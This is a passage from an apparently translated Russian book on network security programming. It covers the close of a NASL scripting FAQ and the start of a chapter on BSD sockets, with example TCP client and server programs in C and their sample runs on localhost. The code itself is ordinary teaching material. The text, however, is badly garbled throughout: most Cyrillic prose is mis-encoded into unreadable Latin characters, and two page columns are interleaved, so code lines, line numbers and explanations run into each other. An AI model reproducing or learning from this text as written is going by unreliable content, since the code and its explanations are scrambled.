â äðóãèõ îáúåêòíî-îðèåíòèðîâàííûõ ÿçûêàõ?
ïðîãðàììà Nessus áûëà ñîçäàíà äèðåêòîðîì ýòîé êîìïàíèè ïî èññëåäî-
Î: Ïîñêîëüêó NASL – ÿçûê ñöåíàðèåâ, òî ìåõàíèçì ïîâòîðíîãî èñïîëüçî-
âàíèÿì è ðàçðàáîòêàì.
âàíèÿ – ýòî êîïèðîâàíèå òåêñòà èç ñòàðîãî ïðîåêòà â íîâûé. Íî âû ìîæåòå
ðàñøèðèòü ÿçûê, ïîñêîëüêó åãî èñõîäíûå òåêñòû äîñòóïíû. NASL – ýòî äî-
ïîëíèòåëüíûé ìåõàíèçì, ðàáîòàþùèé â ñðåäå Nessus, êîòîðàÿ îáåñïå÷èâàåò
îáìåí äàííûõ ìåæäó NASL-ñöåíàðèÿìè. Èíîãäà ýòó òåõíîëîãèþ íàçûâàþò
ðåêóðñèâíûì àíàëèçîì.

Â: Ìîæíî ëè îäíîâðåìåííî çàïóñêàòü íåñêîëüêî NASL-ñöåíàðèåâ èç êî-


ìàíäíîé ñòðîêè?
Î: Ê ñîæàëåíèþ, íåò. Íî íåòðóäíî íàïèñàòü íà äðóãîì ÿçûêå, âîçìîæíî íà
Perl, îáîëî÷êó äëÿ êîìàíäíîãî èíòåðïðåòàòîðà NASL, êîòîðàÿ áóäåò çàïóñ-
146 Глава 2. Язык сценариев NASL

êàòü íåñêîëüêî ýêçåìïëÿðîâ èíòåðïðåòàòîðà, èñïîëíÿþùèõ ñöåíàðèè, îáðà-


ùåííûå ê ðàçíûì õîñòàì. Ìîæíî íàçâàòü ýòî ãðóáîé ðåàëèçàöèåé ïàðàë-
ëåëüíîãî ñêàíèðîâàíèÿ.
Глава 3
Â: Êàêîâû òèïè÷íûå ïðèìåíåíèÿ NASL, ïîìèìî îöåíêè óÿçâèìîñòè?
Î: Ñíÿòèå öèôðîâûõ îòïå÷àòêîâ ïðèëîæåíèé, ãåíåðèðîâàíèå ñëó÷àéíûõ
çàïðîñîâ ïî ðàçíûì ïðîòîêîëàì, èäåíòèôèêàöèÿ ïðîãðàìì. Âîò òðè òèïè÷-
íûõ ñïîñîáà ïðèìåíåíèÿ, õîòÿ â êàæäîì ñëó÷àå ëó÷øå íàïèñàòü äëÿ ýòèõ öåëåé
ñïåöèàëèçèðîâàííûå èíñòðóìåíòû íà äðóãèõ ÿçûêàõ, ñêàæåì, íà C èëè C++.
BSD!сокеты

Описание данной главы:


 Введение в программирование BSD!сокетов
 Клиенты и серверы для протокола TCP
 Клиенты и серверы для протокола UDP
 Флаги сокетов
 Сканирование сети с помощью UDP!сокетов
 Сканирование сети с помощью ТСР!сокетов
 Многопоточность и параллелизм
См. также главы 4 и 5

 Резюме
 Обзор изложенного материала
 Часто задаваемые вопросы
148 Глава 3. BSD!сокеты Клиенты и серверы для протокола TCP 149

ñâÿçè ñ óäàëåííûì ñåðâåðíûì ïðèëîæåíèåì. Íàïðîòèâ, ñåðâåðíîå ïðèëîæå-


Введение íèå ïàññèâíî îæèäàåò çàïðîñîâ îò êëèåíòà.
È äëÿ êëèåíòà, è äëÿ ñåðâåðà âàæíà èäåÿ îêîíå÷íîé òî÷êè êîììóíèêàöèè,
BSD-ñîêåòû (ðàçðàáîòàííûå ñîòðóäíèêàìè Êàëèôîðíèéñêîãî óíèâåðñèòåòà
êîòîðàÿ è íàçûâàåòñÿ «ñîêåòîì». Ñîêåò îäíîçíà÷íî èäåíòèôèöèðóåò ñîåäè-
â Áåðêëè) – ýòî ïðîãðàììíûé èíòåðôåéñ äëÿ ìåæïðîöåññíûõ êîììóíèêàöèé
íåíèå è ñîçäàåòñÿ ñ ïîìîùüþ ôóíêöèè socket(). Ðîëü ñîêåòà çàòåì óòî÷íÿåòñÿ
(IPC). Èìåííî ýòîò èíòåðôåéñ ÷àùå âñåãî èñïîëüçóåòñÿ äëÿ ðåàëèçàöèè ñå-
ñ ïîìîùüþ ôóíêöèé connect() èëè accept(). Òàê èëè èíà÷å, êëèåíòñêàÿ îêî-
òåâîãî âçàèìîäåéñòâèÿ ìåæäó êîìïüþòåðàìè. Ïðîòîêîëû Internet Protocol
íå÷íàÿ òî÷êà ñîåäèíÿåòñÿ ñ ñåðâåðíîé, ïîñëå ÷åãî ìîæåò íà÷àòüñÿ îáìåí äàí-
âåðñèè 4 (IPv4), User Datagram Protocol (UDP), Transmission Control Protocol
íûìè.  ñëó÷àå ïðîòîêîëîâ UDP è TCP ñîêåò ïðåäñòàâëÿåò ñîáîé êîìáèíàöèþ
(TCP) è äðóãèå, â ñîâîêóïíîñòè èìåíóåìûå TCP/IPv4, – ýòî ñòàíäàðò äå-ôàê-
àäðåñà è ïîðòà ëîêàëüíîãî êîìïüþòåðà ñ àäðåñîì è ïîðòîì óäàëåííîãî
òî äëÿ îáìåíà äàííûìè ìåæäó ïðîöåññàìè, ðàáîòàþùèìè íà ðàçíûõ êîìïü-
êîìïüþòåðà.
þòåðàõ â ñåòè. À äëÿ äîñòóïà ê ýòèì ïðîòîêîëàì èç ïðîãðàììû ïðèìåíÿþòñÿ
BSD-ñîêåòû. Òèïè÷íàÿ ïîñëåäîâàòåëüíîñòü ñîçäàíèÿ êëèåíòñêîãî ñîêåòà íà÷èíàåòñÿ
Ñîêåòû ïîçâîëÿþò ðåàëèçîâàòü ðàçëè÷íûå ìîäåëè ìåæïðîöåññíîãî âçàè- ñ âûçîâà ôóíêöèè socket(), êîòîðàÿ çàïðàøèâàåò ðåñóðñû ó îïåðàöèîííîé ñèñ-
ìîäåéñòâèÿ: îäèí ñ îäíèì, îäèí ñ ìíîãèìè è ìíîãèå ñ ìíîãèìè. Èõ íàçûâàþò òåìû è ïîëó÷àåò îò íåå, â ÷àñòíîñòè, äåñêðèïòîð ñîêåòà è íîìåð ëîêàëüíîãî
åùå äâóõòî÷å÷íîé ìîäåëüþ, øèðîêîâåùàíèåì è ãðóïïîâûì âåùàíèåì. ïîðòà. Çàòåì íàäëåæèò îïðåäåëèòü àäðåñ è íîìåð ïîðòà óäàëåííîãî õîñòà,
 ýòîé ãëàâå ìû äåòàëüíî ðàññìîòðèì âîïðîñû ïðîãðàììèðîâàíèÿ ñ ïîìî- ñ êîòîðûì òðåáóåòñÿ óñòàíîâèòü ñîåäèíåíèå. Ñàìî ñîåäèíåíèå óñòàíàâëèâà-
ùüþ BSD-ñîêåòîâ, â òîì ÷èñëå ïðîãðàììèðîâàíèå êëèåíòîâ è ñåðâåðîâ äëÿ åòñÿ ïóòåì âûçîâà ôóíêöèè connect(). Åñëè îïåðàöèÿ âûïîëíèëàñü óñïåøíî,
ïðîòîêîëîâ TCP è UDP, òîíêóþ íàñòðîéêó ñîêåòîâ ñ ïîìîùüþ ðàçëè÷íûõ îï- òî ìîæíî ïåðåäàâàòü äàííûå. Äëÿ ÷òåíèÿ èç ëîêàëüíîãî ïîðòà ñëóæàò ôóíê-
öèé, à òàêæå êîñíåìñÿ òåìû ìíîãîïîòî÷íîñòè â ñåòåâîì ïðîãðàììèðîâàíèè. öèè read() è recv(), à äëÿ çàïèñè â óäàëåííûé ïîðò – ôóíêöèè write() è send().

Примечание Клиенты и серверы


Все примеры в этой главе были написаны и откомпилированы на
платформе OpenBSD 3.2 / x86 с помощью компилятора GNU C вер
для протокола TCP
сии 2.95.3 и оболочки tcsh версии 6.12.00. TCP – íàèáîëåå ÷àñòî èñïîëüçóåìûé ïðîòîêîë èç íàáîðà TCP/IP.  ýòîì ðàç-
äåëå ìû ðàññìîòðèì äâà ïðèìåðà, èëëþñòðèðóþùèõ ïðîöåññ íàïèñàíèÿ TCP-
êëèåíòà è TCP-ñåðâåðà.
 ïðèìåðå 3.1 ïîêàçàíî, êàê êëèåíò ìîæåò èíèöèàëèçèðîâàòü, óñòàíîâèòü
Введение в программирование è ðàçîðâàòü TCP-ñîåäèíåíèå.

BSD!сокетов Пример 3.1. TCP)клиент (client1.c)


1 /*
2 * client1.c
Èíòåðôåéñ BSD-ñîêåòîâ – ýòî íàáîð ôóíêöèé è òèïîâ äàííûõ. Âïåðâûå îí 3 *
ïîÿâèëñÿ â îïåðàöèîííîé ñèñòåìå BSD UNIX â íà÷àëå 1980-õ ãîäîâ, à òåïåðü 4 * Óñòàíîâëåíèå è ðàçðûâ TCP-ñîåäèíåíèÿ
âêëþ÷åí ïî÷òè âî âñå âàðèàíòû ñèñòåìû UNIX è ïîääåðæèâàåòñÿ òàêæå íà 5 * ñ ïîìîùüþ ôóíêöèé socket(),
ïëàòôîðìå Microsoft Windows (Winsock). 6 * connect() and close().
API ñîêåòîâ øèðîêî ïðèìåíÿåòñÿ â ïðîãðàììàõ íà ÿçûêå C äëÿ ðåàëèçàöèè 7 *
8 *
âçàèìîäåéñòâèÿ ïî ïðîòîêîëàì TCP è UDP. Ñóùåñòâóåò äâà îñíîâíûõ âèäà 9 *
ïðèëîæåíèé, â êîòîðûõ èñïîëüçóþòñÿ ñîêåòû: êëèåíò è ñåðâåð. Êëèåíòñêèå 10 */
ïðèëîæåíèÿ ñîçäàþò îêîíå÷íóþ òî÷êó êîììóíèêàöèè è èíèöèèðóþò ñåàíñ 11
150 Глава 3. BSD!сокеты Клиенты и серверы для протокола TCP 151
12
13
#include
#include
<stdio.h>
<sys/types.h>
Компиляция
14 #include <sys/socket.h> (foster@syngress ~/book) $ gcc -o client1 client1.c
15 #include <netinet/in.h>
16 (foster@syngress ~/book) $ ./client1
usage: ./client1: ip_address port
17 int
18 main (int argc, char *argv[])
19 { Пример выполнения
20 struct sockaddr_in sin;
21 int sock = 0; (foster@syngress ~/book) $ ./client1 127.0.0.1 80
TCP-êëèåíò óñòàíîâèë ñîåäèíåíèå.
22 int ret = 0;
TCP-êëèåíò çàêðûë ñîåäèíåíèå.
23
24 if(argc != 3) (foster@syngress ~/book) $ ./client1 127.0.0.1 81
25 { TCP-êëèåíò: îøèáêà connect().
26 printf("usage: %s: ip_address port\n", argv[0]);
27 return(1); Ïðîãðàììà client1.c îæèäàåò äâà àðãóìåíòà â êîìàíäíîé ñòðîêå: IP-àäðåñ è íî-
28 } ìåð ïîðòà, ñ êîòîðûì äîëæåí ñîåäèíèòüñÿ êëèåíò. Îíà ïîëó÷àåò îò ñèñòåìû äåñ-
29
êðèïòîð ñîêåòà è óñòàíàâëèâàåò ñîåäèíåíèå ñ óêàçàííûì àäðåñîì è ïîðòîì.
30 sock = socket(AF_INET, SOCK_STREAM, 0);
31 if(sock < 0)
Äàííûå íå ïåðåäàþòñÿ. Ñîêåò ñðàçó çàêðûâàåòñÿ. Åñëè ñîåäèíåíèå óñòàíîâèòü
32 { íå óäàåòñÿ, ïå÷àòàåòñÿ ñîîáùåíèå îá îøèáêå è ïðîãðàììà çàâåðøàåòñÿ.
33 printf("TCP-êëèåíò: îøèáêà socket().\n");
34
35 }
return(1);
Анализ
36   ñòðîêå 30 ïðîãðàììà ïîëó÷àåò äåñêðèïòîð ñîêåòà, âûçâàâ ôóíêöèþ
37 memset(&sin, 0x0, sizeof(struct sockaddr_in *));
socket().  êà÷åñòâå àðãóìåíòà domain åé ïåðåäàåòñÿ êîíñòàíòà AF_INET,
38
39 sin.sin_family = AF_INET;
êîòîðàÿ ãîâîðèò, ÷òî ýòîò ñîêåò áóäåò ðàáîòàòü ïî ïðîòîêîëó IP. Àðãó-
40 sin.sin_port = htons(atoi(argv[2])); ìåíò type ðàâåí SOCK_STREAM, òî åñòü ïðîòîêîëîì òðàíñïîðòíîãî
41 sin.sin_addr.s_addr = inet_addr(argv[1]); óðîâíÿ áóäåò TCP.  êà÷åñòâå èäåíòèôèêàòîðà ïðîòîêîëà ïåðåäàåòñÿ 0,
42 ïîñêîëüêó ýòîò àðãóìåíò îáû÷íî íå èñïîëüçóåòñÿ äëÿ ñîêåòîâ, ðàáîòà-
43 ret = connect(sock, struct sockaddr *)&sin, þùèõ ïî ïðîòîêîëó TCP.
44 sizeof(struct sockaddr);  Â ñòðîêå 37 èíèöèàëèçèðóåòñÿ ñòðóêòóðà sockaddr_in, êîòîðàÿ ñëóæèò
45 if(ret < 0)
äëÿ èäåíòèôèêàöèè óäàëåííîé îêîíå÷íîé òî÷êè äàííîãî ñîêåòà.
46 {
47 printf("TCP-êëèåíò: îøèáêà connect().\n");
 Â ñòðîêå 39 çàäàåòñÿ ñåìåéñòâî ïðîòîêîëîâ (domain) äëÿ óäàëåííîé
48 close (sock); îêîíå÷íîé òî÷êè AF_INET, è ýòî çíà÷åíèå ñîîòâåòñòâóåò àðãóìåíòó
49 return(1); ôóíêöèè socket(), çàäàííîìó â ñòðîêå 28.
50 }  Â ñòðîêå 40 çàäàåòñÿ íîìåð óäàëåííîãî ïîðòà. Ýòîò ïîðò áûë óêàçàí
51 â êîìàíäíîé ñòðîêå è ïåðåäàí ïðîãðàììå â âèäå óêàçàòåëÿ íà ìàññèâ
52 printf("TCP-êëèåíò óñòàíîâèë ñîåäèíåíèå.\n"); ñèìâîëîâ (char *). Ìàññèâ ïðåîáðàçóåòñÿ â 4-áàéòîâîå öåëîå ÷èñëî
53 close(sock);
(òèïà int) ôóíêöèåé atoi(). Çàòåì ýòî ÷èñëî ïðåîáðàçóåòñÿ â äâóõáàéòî-
54
55 printf("TCP-êëèåíò çàêðûë ñîåäèíåíèå.\n");
âîå öåëîå, çàïèñàííîå â ñåòåâîì ïîðÿäêå áàéòîâ. Ðåçóëüòàò ïîìåùàåòñÿ
56 â ïîëå sin_port ñòðóêòóðû sockaddr_in.
57 return(0);   ñòðîêå 41 âñòðå÷àåòñÿ IP-àäðåñ óäàëåííîãî êîìïüþòåðà, çàäàííûé
58 } â êîìàíäíîé ñòðîêå è ïåðåäàííûé â ïðîãðàììó â âèäå óêàçàòåëÿ íà ìàñ-
152 Глава 3. BSD!сокеты Клиенты и серверы для протокола TCP 153

ñèâ ñèìâîëîâ (char *). Ìàññèâ ïðåîáðàçóåòñÿ â áåççíàêîâîå 32-áèòîâîå 35


çíà÷åíèå ñ ïîìîøüþ ôóíêöèè inet_addr(). Îíî çàïèñûâàåòñÿ â ïîëå 36 sock = socket(AF_INET, SOCK_STREAM, 0);
37 if(sock < 0)
sin_addr.s_addr ñòðóêòóðû sockaddr_in. 38 {
 Â ñòðîêàõ 43 è 44 ñîêåò ñîåäèíÿåòñÿ ñ óäàëåííûì õîñòîì è ïîðòîì. 39 printf("TCP-ñåðâåð: îøèáêà socket().\n");
 ýòîò ìîìåíò ïðîèñõîäèò ïðîöåäóðà òðåõøàãîâîãî êâèòèðîâàíèÿ. 40 return(1);
 Â ñòðîêå 53 ñîåäèíåííûé ñîêåò çàêðûâàåòñÿ è ïðîèñõîäèò ðàçðûâ ñî- 41 }
åäèíåíèÿ. 42
43 memset(&sin, 0x0, sizeof(struct sockaddr_in *));
 ïðèìåðå 3.2 ïîêàçàíî, êàê ñîçäàåòñÿ ñåðâåðíûé TCP-ñîêåò.  ðåçóëüòàòå 44
îáðàçóåòñÿ îêîíå÷íàÿ òî÷êà, ñ êîòîðîé ìîãóò ñîåäèíèòüñÿ êëèåíòû òèïà 45 sin.sin_family = AF_INET;
client1.c. 46 sin.sin_port = htons(port);
47 sin.sin_addr.s_addr = INADDR_ANY;
48
Пример 3.2. TCP)сервер (server.c) 49 ret = bind(sock, (struct sockaddr *)&sin,
1 /* 50 (struct sockaddr));
2 * server1.c 51 if(ret < 0)
3 * 52 {
4 * Ñîçäàíèå ñåðâåðíîãî TCP-ñîêåòà, ïðèåì 53 printf("TCP-ñåðâåð: îøèáêà bind().\n");
5 * çàïðîñà íà ñîåäèíåíèå îò îäíîãî TCP-êëèåíòà 54 close (sock);
6 * ñ ïîìîùüþ ôóíêöèé socket(), bind(), listen() è 55 return(1);
7 * accept(). 56 }
8 * 57
9 * foster <jamescfoster@gmail.com> 58 ret = listen(sock, 5);
10 */ 59 if(ret < 0)
11 60 {
12 #include <stdio.h> 61 printf("TCP-ñåðâåð: îøèáêà listen().\n");
13 #include <sys/types.h> 62 close (sock);
14 #include <sys/socket.h> 63 return(1);
15 #include <netinet/in.h> 64 }
16 65
17 int 66 printf("TCP-ñåðâåð ïðîñëóøèâàåò ïîðò.\n");
18 main (int argc, char *argv[]) 67
19 { 68 memset(&csin, 0x0, sizeof(struct sockaddr));
20 struct sockaddr_in sin ; 69
21 struct sockaddr_in csin; 70 csock = accept(sock, (struct sockaddr *)&csin, &len);
22 socklen_t len = sizeof(struct sockaddr); 71 if(csock < 0)
23 short port = 0; 72 {
24 int csock = 0; 73 printf("TCP-ñåðâåð: îøèáêà accept().\n");
25 int sock = 0; 74 }
26 int ret = 0; 75 else
27 76 {
28 if(argc != 2) 77 printf("TCP-ñåðâåð: ñîåäèíåíèå ñ êëèåíòîì " \
29 { 78 "íà ïîðòó %d.\n", port);
30 printf("usage: %s: port\n", argv[0]); 79 close(csock);
31 return(1); 80 }
32 } 81
33 82 close(sock);
34 port = atoi(argv[1]); 83
154 Глава 3. BSD!сокеты Клиенты и серверы для протокола TCP 155
84 return(0); (òèïà int) ôóíêöèåé atoi(). Çàòåì ýòî ÷èñëî ïðåîáðàçóåòñÿ â äâóõáàéòî-
85 } âîå öåëîå, çàïèñàííîå â ñåòåâîì ïîðÿäêå áàéòîâ. Ðåçóëüòàò ïîìåùàåòñÿ
â ïîëå sin_port ñòðóêòóðû sockaddr_in.
Компиляция  Â ñòðîêå 47 çàäàåòñÿ ëîêàëüíûé IP-àäðåñ, ê êîòîðîìó áóäåò ïðèâÿçàí ñî-
êåò.  êà÷åñòâå àäðåñà óêàçàíà öåëî÷èñëåííàÿ êîíñòàíòà INADDR_ANY.
(foster@syngress ~/book) $ gcc -o server1 server1.c
Ýòî îçíà÷àåò, ÷òî ñîêåò ìîæåò ïðèíèìàòü ñîåäèíåíèÿ ñ ëþáîãî ñå-
(foster@syngress ~/book) $ ./server1 òåâîãî èíòåðôåéñà, â òîì ÷èñëå è âîçâðàòíîãî (loopback). Åñëè õîñò
usage: ./server1: port èìååò íåñêîëüêî ñåòåâûõ èíòåðôåéñîâ, òî ìîæíî ïðèâÿçàòü ñîêåò
ê êîíêðåòíîìó èíòåðôåéñó, óêàçàâ íàçíà÷åííûé åìó IP-àäðåñ âìåñòî
Пример выполнения INADDR_ANY.
(foster@syngress ~/book) $ ./server1 4001
 Â ñòðîêå 49 âûçûâàåòñÿ ôóíêöèÿ bind(), êîòîðàÿ ñâÿçûâàåò èíôîðìà-
TCP-êëèåíò óñòàíîâèë ñîåäèíåíèå. öèþ î ëîêàëüíîé êîíå÷íîé òî÷êå, âêëþ÷àÿ åå IP-àäðåñ è ïîðò, ñ äåñê-
TCP-êëèåíò çàêðûë ñîåäèíåíèå. ðèïòîðîì ñîêåòà.
(foster@syngress ~/book) $ ./client1 127.0.0.1 81
  ñòðîêå 58 âûçûâàåòñÿ ôóíêöèÿ l isten(), êîòîðîé â êà÷åñòâå âòîðîãî
TCP-ñåðâåð ïðîñëóøèâàåò ïîðò. àðãóìåíòà ïåðåäàåòñÿ ìàêñèìàëüíîå ÷èñëî îæèäàþùèõ ñîåäèíåíèé
â î÷åðåäè. Åñëè îäíîâðåìåííî ïîñòóïèò áîëüøåå ÷èñëî çàïðîñîâ, òî
Ïðîãðàììà server1.c îæèäàåò âñåãî îäèí àðãóìåíò â êîìàíäíîé ñòðîêå: íî- â ñîåäèíåíèè áóäåò îòêàçàíî. Êðîìå òîãî, ôóíêöèÿ ïåðåâîäèò ñîêåò
ìåð ïîðòà, êîòîðûé ñåðâåð áóäåò ïðîñëóøèâàòü â îæèäàíèè çàïðîñà íà ñîåäè- â ñîñòîÿíèå ãîòîâíîñòè ê ïðèåìó ñîåäèíåíèé. Íà÷èíàÿ ñ ýòîãî ìîìåí-
íåíèå îò êëèåíòà. Îíà ïîëó÷àåò îò ñèñòåìû äåñêðèïòîð ñîêåòà ñ ïîìîùüþ òà ìîãóò îáðàáàòûâàòüñÿ çàïðîñû íà óñòàíîâëåíèå ñîåäèíåíèÿ, ïîñòóïà-
ôóíêöèè socket(), çàòåì ïðèâÿçûâàåò ñîêåò ê óêàçàííîìó ïîðòó (bind()), ïåðå- þùèå îò êëèåíòîâ.
âîäèò ñîêåò â ðåæèì ïðîñëóøèâàíèÿ (l isten()) è âûçûâàåò ôóíêöèþ accept(),  Â ñòðîêå 70 âûçûâàåòñÿ ôóíêöèÿ accept(), ïðèíèìàþùàÿ çàïðîñû íà ñî-
êîòîðàÿ è îæèäàåò çàïðîñà. Êàê òîëüêî çàïðîñ íà ñîåäèíåíèå ïîëó÷åí, ñîêåò åäèíåíèå. Îíà áëîêèðóåò (ïåðåâîäèò â ñîñòîÿíèå îæèäàíèÿ) ïðîöåññ
ñðàçó çàêðûâàåòñÿ, ñîåäèíåíèå ðàçðûâàåòñÿ, ïðîãðàììà çàâåðøàåò ðàáîòó. äî ïîñòóïëåíèÿ íîâîãî çàïðîñà îò êëèåíòà. Êàê òîëüêî ýòî ïðîèçîé-
äåò, ôóíêöèÿ accept() âåðíåò äåñêðèïòîð ñîêåòà, ñîîòâåòñòâóþùåãî íî-
âîìó ñîåäèíåíèþ.
Анализ  Â ñòðîêå 82 ñîêåò çàêðûâàåòñÿ, òàê ÷òî íîâûå ñîåäèíåíèÿ íå ìîãóò
  ñòðîêå 36 ïðîãðàììà ïîëó÷àåò äåñêðèïòîð ñîêåòà, âûçâàâ ôóíêöèþ áûòü óñòàíîâëåíû.
socket().  êà÷åñòâå àðãóìåíòà domain åé ïåðåäàåòñÿ êîíñòàíòà AF_INET,  ïðèìåðå 3.3 ñíà÷àëà çàïóñêàåòñÿ ïðîãðàììà server1, à âñëåä çà íåé client1.
êîòîðàÿ ãîâîðèò, ÷òî ýòîò ñîêåò áóäåò ðàáîòàòü ïî ïðîòîêîëó IP. Àðãó- Ìû âèäèì, ÷òî server1 ïîëó÷èëà äåñêðèïòîð ñîêåòà, ïðèâÿçàëà åãî ê ïîðòó,
ìåíò type ðàâåí SOCK_STREAM, òî åñòü ïðîòîêîëîì òðàíñïîðòíîãî óêàçàííîìó â êîìàíäíîé ñòðîêå, è íà÷àëà ïðîñëóøèâàòü ïîðò â îæèäàíèè
óðîâíÿ áóäåò TCP.  êà÷åñòâå èäåíòèôèêàòîðà ïðîòîêîëà ïåðåäàåòñÿ 0, âõîäÿùèõ ñîåäèíåíèé. Ïîñëå çàïóñêà client1 óñòàíàâëèâàåòñÿ TCP-ñîåäèíå-
ïîñêîëüêó ýòîò àðãóìåíò îáû÷íî íå èñïîëüçóåòñÿ äëÿ ñîêåòîâ, ðàáîòà- íèå. Çàòåì îáå ïðîãðàììû çàêðûâàþò ñâîè êîíöû ñîåäèíåíèÿ è çàâåðøàþò
þùèõ ïî ïðîòîêîëó TCP. ðàáîòó.
 Â ñòðîêå 43 èíèöèàëèçèðóåòñÿ ñòðóêòóðà sockaddr_in, êîòîðàÿ ñëóæèò
äëÿ èäåíòèôèêàöèè ëîêàëüíîé îêîíå÷íîé òî÷êè äàííîãî ñîêåòà. Пример 3.3. Клиент и сервер в действии
 Â ñòðîêå 45 çàäàåòñÿ ñåìåéñòâî ïðîòîêîëîâ (domain) äëÿ óäàëåííîé 1 (foster@syngress ~/book) $ ./server1 4001 &
îêîíå÷íîé òî÷êè AF_INET, è ýòî çíà÷åíèå ñîîòâåòñòâóåò àðãóìåíòó 2 ./server1 4001 & (11) 31802
3
ôóíêöèè socket(), çàäàííîìó â ñòðîêå 36.
4 (foster@syngress ~/book) $ ./client1 127.0.0.1 4001
 Â ñòðîêå 46 çàäàåòñÿ íîìåð ëîêàëüíîãî ïîðòà. Ýòîò ïîðò áûë óêàçàí 5 ./client1 127.0.0.1 4001
â êîìàíäíîé ñòðîêå è ïåðåäàí ïðîãðàììå â âèäå óêàçàòåëÿ íà ìàññèâ 6
ñèìâîëîâ (char *). Ìàññèâ ïðåîáðàçóåòñÿ â 4-áàéòîâîå öåëîå ÷èñëî 7 TCP-ñåðâåð: ñîåäèíåíèå ñ êëèåíòîì íà ïîðòó 4001.
156 Глава 3. BSD!сокеты Клиенты и серверы для протокола UDP 157
8  çàãîëîâêå ïðîòîêîëà UDP âñåãî ÷åòûðå ïîëÿ: ïîðò ïîëó÷àòåëÿ, ïîðò îò-
9 TCP-êëèåíò óñòàíîâèë ñîåäèíåíèå. ïðàâèòåëÿ, äëèíà è êîíòðîëüíàÿ ñóììà. Ïîðòû ïîëó÷àòåëÿ è îòïðàâèòåëÿ îä-
10
11 [1] Done ./server1 4001 íîçíà÷íî èäåíòèôèöèðóþò ïðîöåññ, êîòîðûé îòïðàâèë äàííûå, è ïðîöåññ,
êîòîðîìó îíè ïðåäíàçíà÷åíû. Ïîëå äëèíà óêàçûâàåò, ñêîëüêî áàéòîâ â äàòàã-
ðàììå. Ïîëå êîíòðîëüíàÿ ñóììà íåîáÿçàòåëüíî, îíî ìîæåò áûòü íóëåì ëèáî
Анализ ñîäåðæàòü ïðàâèëüíóþ êîíòðîëüíóþ ñóììó.
Ïðè çàïóñêå ïðîãðàììû server1 óêàçàíî, ÷òî îíà äîëæíà ïðîñëóøèâàòü TCP-ïîðò Êàê è â ñëó÷àå TCP, UDP-ñîêåòû ñîçäàþòñÿ ôóíêöèåé socket(). Íî UDP îò-
4001.  áîëüøèíñòâå îïåðàöèîííûõ ñèñòåì ïîðòû ñ íîìåðàìè îò 1 äî 1024 çàðå- ëè÷àåò ñïîñîáíîñòü îòïðàâëÿòü è ïðèíèìàòü äàòàãðàììû îò ðàçëè÷íûõ õîñ-
çåðâèðîâàíû äëÿ ïðèâèëåãèðîâàííûõ ïðîãðàìì, ïîýòîìó â ïðèìåðå âçÿò ïîðò òîâ ïî îäíîìó-åäèíñòâåííîìó ñîêåòó.
ñ íîìåðîì áîëüøå 1024. Ñèìâîë & â êîíöå êîìàíäíîé ñòðîêè ãîâîðèò, ÷òî ïðî- Òèïè÷íàÿ ïîñëåäîâàòåëüíîñòü ñîçäàíèÿ êëèåíòñêîãî UDP-ñîêåòà íà÷èíà-
ãðàììà server1 äîëæíà èñïîëíÿòüñÿ â ôîíîâîì ðåæèìå, òàê ÷òî ñðàçó ïîñëå åå åòñÿ ñ âûçîâà ôóíêöèè socket(). Çàòåì íàäëåæèò îïðåäåëèòü àäðåñ è íîìåð ïîð-
çàïóñêà ìîæíî ââîäèòü ñëåäóþùóþ êîìàíäó – çàïóñêàþùóþ client1. òà óäàëåííîãî õîñòà, êîòîðîìó ñîêåò áóäåò îòïðàâëÿòü è îò êîòîðîãî áóäåò
  ñòðîêå 1 îáîëî÷êà tcsh ïå÷àòàåò ââåäåííóþ êîìàíäó. ïðèíèìàòü äàííûå. Äåñêðèïòîð ñîêåòà ïåðåäàåòñÿ ôóíêöèè connect(), êîòîðàÿ
  ñòðîêå 2 tcsh ïå÷àòàåò èäåíòèôèêàòîð ôîíîâîãî ïðîöåññà, â êîòîðîì çàïîìèíàåò, êàêîé ñîêåò â äàëüíåéøåì áóäåò èñïîëüçîâàòüñÿ äëÿ ïåðåäà÷è è
èñïîëíÿåòñÿ ïðîãðàììà server1. ïðèåìà. Âìåñòî ýòîãî àäðåñ è íîìåð ïîðòà ïîëó÷àòåëÿ ìîæíî óêàçûâàòü ïðè
 Â ñòðîêå 4 çàïóñêàåòñÿ ïðîãðàììà client1, êîòîðîé ïåðåäàþòñÿ IP-àäðåñ êàæäîé îïåðàöèè «çàïèñè», òîãäà îäèí ñîêåò ìîæíî áóäåò èñïîëüçîâàòü äëÿ
127.0.0.1 è ïîðò 4001. Àäðåñ 127.0.0.1 ïðèíàäëåæèò âîçâðàòíîìó èíòåð- îáìåíà äàííûìè ñ ðàçíûìè õîñòàìè.
ôåéñó. Ýòî ëîãè÷åñêèé èíòåðôåéñ, ïðåäíàçíà÷åííûé äëÿ èñïîëíåíèÿ Ïî ïðîòîêîëó UDP äàííûå ìîæíî ïîñûëàòü ñ ïîìîùüþ ôóíêöèé write(),
ñåòåâûõ ïðîãðàìì íà ëîêàëüíîé ìàøèíå. Â áîëüøèíñòâå ñèñòåì àäðåñó send() è sendto(). ×òîáû ìîæíî áûëî ïîëüçîâàòüñÿ ôóíêöèÿìè write() èëè
127.0.0.1 ñîîòâåòñòâóåò äîìåííîå èìÿ localhost. send(), ñîêåò íóæíî ïðåäâàðèòåëüíî «ñîåäèíèòü», âûçâàâ ôóíêöèþ connect().
  ñòðîêå 5 tcsh ïå÷àòàåò ââåäåííóþ êîìàíäó. Åñëè ýòî íå ñäåëàíî, òî îñòàåòñÿ ôóíêöèÿ sendto(), êîòîðîé íóæíî ïåðåäàòü
  ñòðîêå 7 server1 âûâîäèò ñîîáùåíèå î ïîñòóïëåíèè çàïðîñà íà ñîåäè- IP-àäðåñ è ïîðò ïîëó÷àòåëÿ. ×èòàòü äàííûå ïî ïðîòîêîëó UDP ïîçâîëÿþò
íåíèå îò êëèåíòà, òî÷íåå, îò ïðîãðàììû client1. ôóíêöèè read(), recv() è recvfrom(). Äëÿ èñïîëüçîâàíèÿ ôóíêöèé read() è recv()
  ñòðîêå 9 client1 ïå÷àòàåò ñîîáùåíèå î òîì, ÷òî îíà óñòàíîâèëà ñîåäè- ñîêåò íàäî ïðåäâàðèòåëüíî «ñîåäèíèòü». Ôóíêöèÿ æå recvfrom() ïîëó÷àåò IP-
íåíèå ñ server1. àäðåñ è íîìåð ïîðòà èç ïðèíÿòîé äàòàãðàììû.
Äàííûå, çàïèñàííûå â UDP-ñîêåò, áóäóò ïðèíÿòû â âèäå åäèíîãî áëîêà,
Òåïåðü, êîãäà ó âàñ ñëîæèëîñü íåêîòîðîå ïðåäñòàâëåíèå î ïðîãðàììèðîâà-
